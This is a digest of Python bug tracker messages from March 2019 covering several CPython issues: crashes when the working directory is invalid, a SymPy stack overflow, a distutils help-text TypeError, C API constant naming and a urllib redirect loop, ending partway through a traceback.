In-Reply-To: <1553011961.19.0.135862122832.issue36367@roundup.psfhosted.org>
Message-ID: <1553015900.94.0.094021812625.issue36367@roundup.psfhosted.org>


Change by Pablo Galindo Salgado <pablogsal at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36367>
_______________________________________

From report at bugs.python.org  Tue Mar 19 13:22:58 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 17:22:58 +0000
Subject: [issue36236] Python crash on macOS when CWD is invalid
In-Reply-To: <1552048367.13.0.453050382053.issue36236@roundup.psfhosted.org>
Message-ID: <1553016178.36.0.0791548242248.issue36236@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset fc96e5474a7bda1c5dec66420e4467fc9f7ca968 by Victor Stinner in branch 'master':
bpo-36236: Fix _PyPathConfig_ComputeSysPath0() for empty argv (GH-12441)
https://github.com/python/cpython/commit/fc96e5474a7bda1c5dec66420e4467fc9f7ca968


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36236>
_______________________________________

From report at bugs.python.org  Tue Mar 19 13:24:40 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 17:24:40 +0000
Subject: [issue36236] Python crash on macOS when CWD is invalid
In-Reply-To: <1552048367.13.0.453050382053.issue36236@roundup.psfhosted.org>
Message-ID: <1553016280.13.0.79162860286.issue36236@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Pablo: is Python 3.7 affected by the issue?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36236>
_______________________________________

From report at bugs.python.org  Tue Mar 19 13:29:48 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 19 Mar 2019 17:29:48 +0000
Subject: [issue36236] Python crash on macOS when CWD is invalid
In-Reply-To: <1552048367.13.0.453050382053.issue36236@roundup.psfhosted.org>
Message-ID: <1553016588.59.0.793036983432.issue36236@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

Yup:

~
? cd /tmp

/tmp
? mkdir check

/tmp
? cd check

/tmp/check
? rm -rf ../check

/tmp/check
? python3.7 -m pdb
Fatal Python error: pymain_compute_path0: memory allocation failed
ValueError: character U+e0895f00 is not in range [U+0000; U+10ffff]

Current thread 0x000000011d9405c0 (most recent call first):

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36236>
_______________________________________

From report at bugs.python.org  Tue Mar 19 14:16:53 2019
From: report at bugs.python.org (Michael Foord)
Date: Tue, 19 Mar 2019 18:16:53 +0000
Subject: [issue36366] Patcher stop method should be idempotent
In-Reply-To: <1553011061.53.0.157389839215.issue36366@roundup.psfhosted.org>
Message-ID: <1553019413.01.0.126094055523.issue36366@roundup.psfhosted.org>


Michael Foord <michael at voidspace.org.uk> added the comment:

It's almost certainly an oversight rather than a design decision. I'd be happy with the change you suggest Karthikeyan.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36366>
_______________________________________

From report at bugs.python.org  Tue Mar 19 14:55:30 2019
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 19 Mar 2019 18:55:30 +0000
Subject: [issue36345] Deprecate Tools/scripts/serve.py in favour of python -m
 http.server -d
In-Reply-To: <1552917459.29.0.295748589939.issue36345@roundup.psfhosted.org>
Message-ID: <1553021730.29.0.4351901705.issue36345@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

I agree that if it's a good example of using wsgiref then it should exist in the wsgiref docs as an example. Then that would mean dropping the script and updating the Makefile.

----------
nosy: +brett.cannon

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36345>
_______________________________________

From report at bugs.python.org  Tue Mar 19 14:55:45 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 19 Mar 2019 18:55:45 +0000
Subject: [issue36326] Build-out help() to read __slots__ with an optional data
 dictionary
In-Reply-To: <1552817476.02.0.169886885887.issue36326@roundup.psfhosted.org>
Message-ID: <1553021745.73.0.807223359207.issue36326@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

The direct assignments to __doc__ are reasonable for named tuples because there usually isn't any code between the factory function call and the __doc__ assignments.  For other classes, the technique is awkward because it widely separates the initial field name iterable from the corresponding docstrings.

Setting default values is responsibility of the __new__ or __init__ methods. It doesn't make sense to use a __slots__ dictionary for this purpose as well.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36326>
_______________________________________

From report at bugs.python.org  Tue Mar 19 14:55:57 2019
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 19 Mar 2019 18:55:57 +0000
Subject: [issue36343] Certificate added to Win Store not available
In-Reply-To: <1552909220.78.0.352690295035.issue36343@roundup.psfhosted.org>
Message-ID: <1553021757.97.0.434390342873.issue36343@roundup.psfhosted.org>


Change by Brett Cannon <brett at python.org>:


----------
nosy: +steve.dower

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36343>
_______________________________________

From report at bugs.python.org  Tue Mar 19 14:57:34 2019
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 19 Mar 2019 18:57:34 +0000
Subject: [issue36342] test_venv fails on Android with clang
In-Reply-To: <1552903359.9.0.770761638832.issue36342@roundup.psfhosted.org>
Message-ID: <1553021854.34.0.227237141486.issue36342@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

So this is a test_multiprocessing issue? If it is then the title is misleading.

----------
nosy: +brett.cannon

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36342>
_______________________________________

From report at bugs.python.org  Tue Mar 19 15:01:44 2019
From: report at bugs.python.org (Aaron Meurer)
Date: Tue, 19 Mar 2019 19:01:44 +0000
Subject: [issue36370] "Fatal Python error: Cannot recover from stack overflow"
 from SymPy tests
Message-ID: <1553022103.99.0.827688349588.issue36370@roundup.psfhosted.org>


New submission from Aaron Meurer <asmeurer at gmail.com>:

I am getting a Fatal Python error: Cannot recover from stack overflow. running the SymPy tests on a branch of mine where the tests fail. I have reproduced this in Python 3.6.7, as well as CPython master (fc96e5474a7bda1c5dec66420e4467fc9f7ca968).

Here are the repro steps:

1. Check out my git branch https://github.com/asmeurer/sympy/tree/python-crash
2. Install or point PYTHONPATH to mpmath
3. Run python and type

from sympy import test
test('sets', subprocess=False)

The tests will run (with failures) until they reach a point where Python crashes with

Fatal Python error: Cannot recover from stack overflow.

Current thread 0x00007fffa8e623c0 (most recent call first):
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/core/relational.py", line 385 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1594 in _contains
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 286 in contains
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1257 in <genexpr>
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/core/logic.py", line 139 in fuzzy_and
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1257 in _handle_finite_sets
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1900 in simplify_intersection
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1200 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 109 in intersect
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 309 in is_subset
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1348 in reduce
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1338 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 551 in __sub__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1269 in _handle_finite_sets
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1900 in simplify_intersection
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1200 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 109 in intersect
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 309 in is_subset
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1348 in reduce
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1338 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 551 in __sub__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1269 in _handle_finite_sets
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1900 in simplify_intersection
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1200 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 109 in intersect
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 309 in is_subset
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1348 in reduce
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1338 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 551 in __sub__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1269 in _handle_finite_sets
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1900 in simplify_intersection
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1200 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 109 in intersect
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 309 in is_subset
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1348 in reduce
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1338 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 551 in __sub__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1269 in _handle_finite_sets
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1900 in simplify_intersection
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1200 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 109 in intersect
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 309 in is_subset
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1348 in reduce
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1338 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 551 in __sub__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1269 in _handle_finite_sets
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1900 in simplify_intersection
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1200 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 109 in intersect
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 309 in is_subset
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1348 in reduce
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1338 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 551 in __sub__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1269 in _handle_finite_sets
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1900 in simplify_intersection
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1200 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 109 in intersect
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 309 in is_subset
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1348 in reduce
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1338 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 551 in __sub__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1269 in _handle_finite_sets
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1900 in simplify_intersection
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1200 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 109 in intersect
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 309 in is_subset
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1348 in reduce
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1338 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 551 in __sub__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1269 in _handle_finite_sets
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1900 in simplify_intersection
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1200 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 109 in intersect
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 309 in is_subset
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1348 in reduce
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1338 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 551 in __sub__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1269 in _handle_finite_sets
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1900 in simplify_intersection
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1200 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 109 in intersect
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 309 in is_subset
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1348 in reduce
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1338 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 551 in __sub__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1269 in _handle_finite_sets
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1900 in simplify_intersection
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1200 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 109 in intersect
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 309 in is_subset
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1348 in reduce
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1338 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 551 in __sub__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1269 in _handle_finite_sets
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1900 in simplify_intersection
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1200 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 109 in intersect
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 309 in is_subset
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1348 in reduce
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1338 in __new__
  ...
Abort trap: 6


Unfortunately, I'm not able to find a simpler reproducing example for CPython master, as it seems to be heavily dependent on the exact state of the call stack.

I also get a crash report from OS X if that's helpful:

Process:               python.exe [86693]
Path:                  /Users/USER/Documents/*/python.exe
Identifier:            python.exe
Version:               0
Code Type:             X86-64 (Native)
Parent Process:        bash [612]
Responsible:           python.exe [86693]
User ID:               501

Date/Time:             2019-03-19 13:00:28.968 -0600
OS Version:            Mac OS X 10.12.6 (16G1917)
Report Version:        12
Anonymous UUID:        5AC59B85-E5D2-1EA1-6881-7497830B3180

Sleep/Wake UUID:       44F9CEAE-2035-49EE-A6EF-02AB11D4F067

Time Awake Since Boot: 140000 seconds
Time Since Wake:       5200 seconds

System Integrity Protection: enabled

Crashed Thread:        0  Dispatch queue: com.apple.main-thread

Exception Type:        EXC_CRASH (SIGABRT)
Exception Codes:       0x0000000000000000, 0x0000000000000000
Exception Note:        EXC_CORPSE_NOTIFY

Application Specific Information:
abort() called

Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
0   libsystem_kernel.dylib        	0x00007fffa006ed42 __pthread_kill + 10
1   libsystem_pthread.dylib       	0x00007fffa015c457 pthread_kill + 90
2   libsystem_c.dylib             	0x00007fff9ffd4420 abort + 129
3   python.exe                    	0x000000010ba4f110 fatal_error + 64 (pylifecycle.c:1983)

Thread 0 crashed with X86 Thread State (64-bit):
  rax: 0x0000000000000000  rbx: 0x0000000000000006  rcx: 0x00007fff542a7c18  rdx: 0x0000000000000000
  rdi: 0x0000000000000307  rsi: 0x0000000000000006  rbp: 0x00007fff542a7c40  rsp: 0x00007fff542a7c18
   r8: 0x0000000000000040   r9: 0x00007fffa8e46040  r10: 0x0000000008000000  r11: 0x0000000000000206
  r12: 0x000000010bb10470  r13: 0x0000000000000000  r14: 0x00007fffa8e623c0  r15: 0x0000000000000000
  rip: 0x00007fffa006ed42  rfl: 0x0000000000000206  cr2: 0x00007fffa8e44128
  
Logical CPU:     0
Error Code:      0x02000148
Trap Number:     133

----------
components: Interpreter Core
messages: 338399
nosy: asmeurer
priority: normal
severity: normal
status: open
title: "Fatal Python error: Cannot recover from stack overflow" from SymPy tests
type: crash
versions: Python 3.6, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36370>
_______________________________________

From report at bugs.python.org  Tue Mar 19 15:13:35 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Tue, 19 Mar 2019 19:13:35 +0000
Subject: [issue36347] Renaming the constants for the .flags of PyMemberDef
In-Reply-To: <1552920150.75.0.888906424388.issue36347@roundup.psfhosted.org>
Message-ID: <1553022815.36.0.858846634868.issue36347@roundup.psfhosted.org>


Josh Rosenberg <shadowranger+python at gmail.com> added the comment:

Pretty sure you can't actually get rid of READONLY; it's part of the public API. Adding PY_READONLY to match PY_READWRITE is fine, but unlike WRITE_RESTRICTED/PY_WRITE_RESTRICTED (which isn't used at all in Py3,  has been non-functional since 2.3, and caused compilation errors on Visual Studio; more details on #36355), READONLY is commonly used by third party C extensions, doesn't have any known conflicts with compiler headers, and can't be removed.

Go ahead and add PY_READONLY, and change the documentation to prefer it, but:

#define READONLY 1

needs to stick around in the header indefinitely.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36347>
_______________________________________

From report at bugs.python.org  Tue Mar 19 15:28:41 2019
From: report at bugs.python.org (Maxim)
Date: Tue, 19 Mar 2019 19:28:41 +0000
Subject: [issue36371] FancyGetopt.generate_help crashes with TypeError
Message-ID: <1553023721.87.0.244603228495.issue36371@roundup.psfhosted.org>


New submission from Maxim <m.zemskov1 at gmail.com>:

Hi!

FancyGetopt.generate_help crashes if help text in option_table is None:

instance = FancyGetopt([('long', 'l', None)])
help_text = instance.generate_help()

TypeError                                 Traceback (most recent call last)
<ipython-input-40-04e4e328455e> in <module>
----> 1 a.generate_help()

/usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/distutils/fancy_getopt.py in generate_help(self, header)
    352                                  (max_opt, opt_names, text[0]))
    353                 else:
--> 354                     lines.append("  --%-*s" % opt_names)
    355
    356             for l in text[1:]:

TypeError: * wants int

This code is in master branch too.

And if help_text is empty string code behavior is like a help_text is actually pass and added 2 whitespaces.

----------
components: Library (Lib)
messages: 338401
nosy: crztssr
priority: normal
severity: normal
status: open
title: FancyGetopt.generate_help crashes with TypeError
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36371>
_______________________________________

From report at bugs.python.org  Tue Mar 19 15:33:06 2019
From: report at bugs.python.org (Maxim)
Date: Tue, 19 Mar 2019 19:33:06 +0000
Subject: [issue36371] FancyGetopt.generate_help crashes with TypeError
In-Reply-To: <1553023721.87.0.244603228495.issue36371@roundup.psfhosted.org>
Message-ID: <1553023986.18.0.18282098977.issue36371@roundup.psfhosted.org>


Change by Maxim <m.zemskov1 at gmail.com>:


----------
keywords: +patch
pull_requests: +12400
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36371>
_______________________________________

From report at bugs.python.org  Tue Mar 19 15:37:28 2019
From: report at bugs.python.org (Jakub Wilk)
Date: Tue, 19 Mar 2019 19:37:28 +0000
Subject: [issue35866] concurrent.futures deadlock
In-Reply-To: <1548929111.09.0.517798780255.issue35866@roundup.psfhosted.org>
Message-ID: <1553024248.83.0.569059764941.issue35866@roundup.psfhosted.org>


Jakub Wilk <jwilk at jwilk.net> added the comment:

There are two processes running (parent and child) when the thing hangs.
I'm attaching GDB backtraces for both.

----------
Added file: https://bugs.python.org/file48223/gdb-bt-parent.txt

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35866>
_______________________________________

From report at bugs.python.org  Tue Mar 19 15:37:37 2019
From: report at bugs.python.org (Jakub Wilk)
Date: Tue, 19 Mar 2019 19:37:37 +0000
Subject: [issue35866] concurrent.futures deadlock
In-Reply-To: <1548929111.09.0.517798780255.issue35866@roundup.psfhosted.org>
Message-ID: <1553024257.73.0.81406222047.issue35866@roundup.psfhosted.org>


Change by Jakub Wilk <jwilk at jwilk.net>:


Added file: https://bugs.python.org/file48224/gdb-bt-child.txt

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35866>
_______________________________________

From report at bugs.python.org  Tue Mar 19 15:47:22 2019
From: report at bugs.python.org (Michael Felt)
Date: Tue, 19 Mar 2019 19:47:22 +0000
Subject: [issue10514] configure does not create accurate Makefile on AIX
In-Reply-To: <1290519521.61.0.0855233461913.issue10514@psf.upfronthosting.co.za>
Message-ID: <1553024842.25.0.932000118805.issue10514@roundup.psfhosted.org>


Michael Felt <aixtools at felt.demon.nl> added the comment:

>From memory I do not believe this is still a problem, at least on Python3.

There was recently a different issue (do not recall the #) where there was an issue with CXX regardless of compiler.

In any case, the apporach I would recommend would be to export the environment variable OBJECT_MODE=64.

The only issue I have run into is when pip modules require a C compiler and there is a size mis-match (unset OBJECT_MODE is assumed to be 32. exporting OBJECT_MODE=64 and then running the pip command again ends successfully (or at least goes farther).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue10514>
_______________________________________

From report at bugs.python.org  Tue Mar 19 15:48:59 2019
From: report at bugs.python.org (Brrr Grrr)
Date: Tue, 19 Mar 2019 19:48:59 +0000
Subject: [issue36372] Flawed handling of URL redirect
Message-ID: <1553024939.15.0.48602014651.issue36372@roundup.psfhosted.org>


New submission from Brrr Grrr <ab16180 at gmail.com>:

I'm unable to use `urlopen` to open 'https://www.annemergmed.com/article/S0196-0644(99)70271-4/abstract' with Python 3.7. I believe this to be flawed URL redirection, possibly due to flawed URL parsing.

```python
from sys import version
version
'3.7.2 (default, Dec 25 2018, 03:50:46) \n[GCC 7.3.0]'
from urllib.request import urlopen
urlopen('https://www.annemergmed.com/article/S0196-0644(99)70271-4/abstract')
Traceback (most recent call last):
  File "<input>", line 1, in <module>
  File "/usr/lib/python3.7/urllib/request.py", line 222, in urlopen
    return opener.open(url, data, timeout)
  File "/usr/lib/python3.7/urllib/request.py", line 531, in open
    response = meth(req, response)
  File "/usr/lib/python3.7/urllib/request.py", line 641, in http_response
    'http', request, response, code, msg, hdrs)
  File "/usr/lib/python3.7/urllib/request.py", line 563, in error
    result = self._call_chain(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 503, in _call_chain
    result = func(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 755, in http_error_302
    return self.parent.open(new, timeout=req.timeout)
  File "/usr/lib/python3.7/urllib/request.py", line 531, in open
    response = meth(req, response)
  File "/usr/lib/python3.7/urllib/request.py", line 641, in http_response
    'http', request, response, code, msg, hdrs)
  File "/usr/lib/python3.7/urllib/request.py", line 563, in error
    result = self._call_chain(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 503, in _call_chain
    result = func(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 755, in http_error_302
    return self.parent.open(new, timeout=req.timeout)
  File "/usr/lib/python3.7/urllib/request.py", line 531, in open
    response = meth(req, response)
  File "/usr/lib/python3.7/urllib/request.py", line 641, in http_response
    'http', request, response, code, msg, hdrs)
  File "/usr/lib/python3.7/urllib/request.py", line 563, in error
    result = self._call_chain(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 503, in _call_chain
    result = func(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 755, in http_error_302
    return self.parent.open(new, timeout=req.timeout)
  File "/usr/lib/python3.7/urllib/request.py", line 531, in open
    response = meth(req, response)
  File "/usr/lib/python3.7/urllib/request.py", line 641, in http_response
    'http', request, response, code, msg, hdrs)
  File "/usr/lib/python3.7/urllib/request.py", line 563, in error
    result = self._call_chain(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 503, in _call_chain
    result = func(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 755, in http_error_302
    return self.parent.open(new, timeout=req.timeout)
  File "/usr/lib/python3.7/urllib/request.py", line 531, in open
    response = meth(req, response)
  File "/usr/lib/python3.7/urllib/request.py", line 641, in http_response
    'http', request, response, code, msg, hdrs)
  File "/usr/lib/python3.7/urllib/request.py", line 563, in error
    result = self._call_chain(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 503, in _call_chain
    result = func(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 755, in http_error_302
    return self.parent.open(new, timeout=req.timeout)
  File "/usr/lib/python3.7/urllib/request.py", line 531, in open
    response = meth(req, response)
  File "/usr/lib/python3.7/urllib/request.py", line 641, in http_response
    'http', request, response, code, msg, hdrs)
  File "/usr/lib/python3.7/urllib/request.py", line 563, in error
    result = self._call_chain(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 503, in _call_chain
    result = func(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 755, in http_error_302
    return self.parent.open(new, timeout=req.timeout)
  File "/usr/lib/python3.7/urllib/request.py", line 531, in open
    response = meth(req, response)
  File "/usr/lib/python3.7/urllib/request.py", line 641, in http_response
    'http', request, response, code, msg, hdrs)
  File "/usr/lib/python3.7/urllib/request.py", line 563, in error
    result = self._call_chain(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 503, in _call_chain
    result = func(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 755, in http_error_302
    return self.parent.open(new, timeout=req.timeout)
  File "/usr/lib/python3.7/urllib/request.py", line 531, in open
    response = meth(req, response)
  File "/usr/lib/python3.7/urllib/request.py", line 641, in http_response
    'http', request, response, code, msg, hdrs)
  File "/usr/lib/python3.7/urllib/request.py", line 563, in error
    result = self._call_chain(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 503, in _call_chain
    result = func(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 755, in http_error_302
    return self.parent.open(new, timeout=req.timeout)
  File "/usr/lib/python3.7/urllib/request.py", line 531, in open
    response = meth(req, response)
  File "/usr/lib/python3.7/urllib/request.py", line 641, in http_response
    'http', request, response, code, msg, hdrs)
  File "/usr/lib/python3.7/urllib/request.py", line 563, in error
    result = self._call_chain(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 503, in _call_chain
    result = func(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 755, in http_error_302
    return self.parent.open(new, timeout=req.timeout)
  File "/usr/lib/python3.7/urllib/request.py", line 531, in open
    response = meth(req, response)
  File "/usr/lib/python3.7/urllib/request.py", line 641, in http_response
    'http', request, response, code, msg, hdrs)
  File "/usr/lib/python3.7/urllib/request.py", line 563, in error
    result = self._call_chain(*args)
